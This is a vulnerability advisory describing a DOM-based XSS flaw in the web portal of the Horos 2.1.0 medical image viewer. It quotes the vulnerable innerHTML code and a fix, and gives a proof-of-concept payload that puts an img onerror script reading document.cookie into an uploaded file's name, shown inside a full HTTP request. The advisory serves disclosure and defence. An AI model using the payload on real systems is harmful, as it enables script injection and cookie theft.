Horos 2.1.0 Web Portal DOM Based XSS


Vendor: Horos Project
Product web page: https://www.horosproject.org
Affected version: 2.1.0

Summary: HorosaC/ is an open-source, free medical image viewer. The goal of the
Horos Project is to develop a fully functional, 64-bit medical image viewer for
OS X. Horos is based upon OsiriX and other open source medical imaging libraries.

Desc: Horos suffers from a DOM-based XSS vulnerability because it doesn't use proper sanitization
when user input goes to a dangerous HTML modification sink ((element).innerHTML). This can be
exploited to execute arbitrary HTML and script code in a user's browser DOM in context of an
affected site.

Tested on: macOS 12.10.2 (Sierra)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5385
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5385.php


15.12.2016

--


------vuln-----

                  function fileSelected() {
                      var file = document.getElementById('fileToUpload').files[0];
                      if (file) {
                          var fileSize = 0;
                          if (file.size > 1024 * 1024)
                          fileSize = (Math.round(file.size * 100 / (1024 * 1024)) / 100).toString() + 'MB';
                          else
                          fileSize = (Math.round(file.size * 100 / 1024) / 100).toString() + 'KB';
                        
                          document.getElementById('fileName').innerHTML = 'Name: ' + file.name; // xss
                          document.getElementById('fileSize').innerHTML = 'Size: ' + fileSize;
                          document.getElementById('fileType').innerHTML = 'Type: ' + file.type;
                      }
                  }
                
                  function uploadFile()
          {
            document.getElementById('progressbar').innerHTML = '0%';
            document.getElementById("progressbar").style.width = '0%';
            document.getElementById("progressbar").className = "progress-bar progress-bar-striped";
            document.getElementById("upload_button").className = "btn btn-default disabled";
            
            setTimeout(function(){

              var fd = new FormData();
              fd.append("fileToUpload", document.getElementById('fileToUpload').files[0]);
              var xhr = new XMLHttpRequest();
              xhr.upload.addEventListener("progress", uploadProgress, false);
              xhr.addEventListener("load", uploadComplete, false);
              xhr.addEventListener("error", uploadFailed, false);
              xhr.addEventListener("abort", uploadCanceled, false);
              xhr.open("POST", "", true);
              xhr.send(fd);

            }, 500);
                  }

...

  <form class="col-md-12" id="form1" action="javascript:void(0);" method="post" enctype="multipart/form-data">
          <div class="form-group col-md-12">
            <label for="fileToUpload">File input</label>
            <input type="file" name="file" id="fileToUpload" onchange="fileSelected();">
            <div class="help-block">
              <div id="fileName"></div> // xss
              <div id="fileSize"></div>
              <div id="fileType"></div>
            </div>
          </div>
          <div class="col-lg-2 col-md-3">
            <button type="submit" class="btn btn-default" id="upload_button" name="upload_button" onclick="uploadFile()" value="Upload">Upload</button>
          </div>
          <div class="col-lg-10 col-md-9 help-block">
            <div class="progress" id="progressbar_containter" style="display: none;">
              <div class="progress-bar progress-bar-striped" id="progressbar" role="progressbar" aria-valuenow="2" aria-valuemin="0" aria-valuemax="100" style="min-width: 2em;"></div>
            </div>
          </div>
        </form>


------/vuln-----

Element output: <div id="fileName">Name: <img src="#" onerror="alert(document.cookie)" :="">.mp3</div>
Fix: (element).innerText or (element).textContent

PoC payload: <img src="#" onerror="alert(document.cookie")/>:


POST /main HTTP/1.1
Host: 127.0.0.1:3333
Content-Length: 3
Origin: http://127.0.0.1:3333
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBUg5yXYbUF1w5AEi
Accept: */*
Referer: http://127.0.0.1:3333/main
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
Cookie: OSID=53B11D55703E7A7DA14AF867B2C7E346
DNT: 1
Connection: close

------WebKitFormBoundaryBUg5yXYbUF1w5AEi
Content-Disposition: form-data; name="fileToUpload"; filename="<img src=%22#%22 onerror=%22alert(document.cookie)%22:>.mp3"
Content-Type: audio/mp3

ZSL
------WebKitFormBoundaryBUg5yXYbUF1w5AEi--